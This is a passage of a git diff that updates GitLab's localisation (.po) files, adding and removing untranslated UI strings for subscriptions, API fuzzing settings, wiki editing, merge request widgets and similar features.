+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31267,18 +31909,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31297,6 +31969,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31519,6 +32194,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31675,9 +32353,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31819,6 +32494,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31849,7 +32527,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31873,6 +32551,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32065,6 +32746,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -32110,6 +32794,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32128,9 +32815,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32434,9 +33118,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32503,12 +33184,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32536,6 +33211,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32599,9 +33277,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32644,9 +33319,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32770,7 +33442,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32872,9 +33547,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33208,6 +33880,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33250,9 +33925,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33277,6 +33949,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33328,9 +34003,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33361,12 +34033,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33376,6 +34042,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33427,6 +34096,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33604,9 +34276,6 @@ msgstr[2] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33721,9 +34390,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33841,13 +34507,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33877,9 +34543,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -34078,6 +34741,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34303,6 +34969,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34546,6 +35215,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34705,6 +35377,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -35026,6 +35701,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35035,6 +35713,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -35143,27 +35824,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35296,6 +35995,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35317,6 +36019,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35428,6 +36133,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35995,15 +36703,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36043,9 +36751,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36073,16 +36778,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36115,9 +36820,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36361,6 +37063,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36469,6 +37174,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36487,12 +37198,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36502,6 +37219,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36523,9 +37246,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36694,6 +37414,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36898,6 +37621,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37009,9 +37735,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37294,10 +38026,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37336,6 +38068,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37366,9 +38101,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37567,9 +38299,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37906,6 +38635,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38152,6 +38920,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38230,7 +39001,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38332,6 +39103,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38392,9 +39166,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38422,10 +39193,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38467,9 +39235,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38485,12 +39250,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38899,6 +39670,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39022,6 +39799,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/sv_SE/gitlab.po b/locale/sv_SE/gitlab.po
index 67684593ffa..f98aaf68aef 100644
--- a/locale/sv_SE/gitlab.po
+++ b/locale/sv_SE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sv-SE\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:26\n"
+"PO-Revision-Date: 2021-06-01 20:49\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
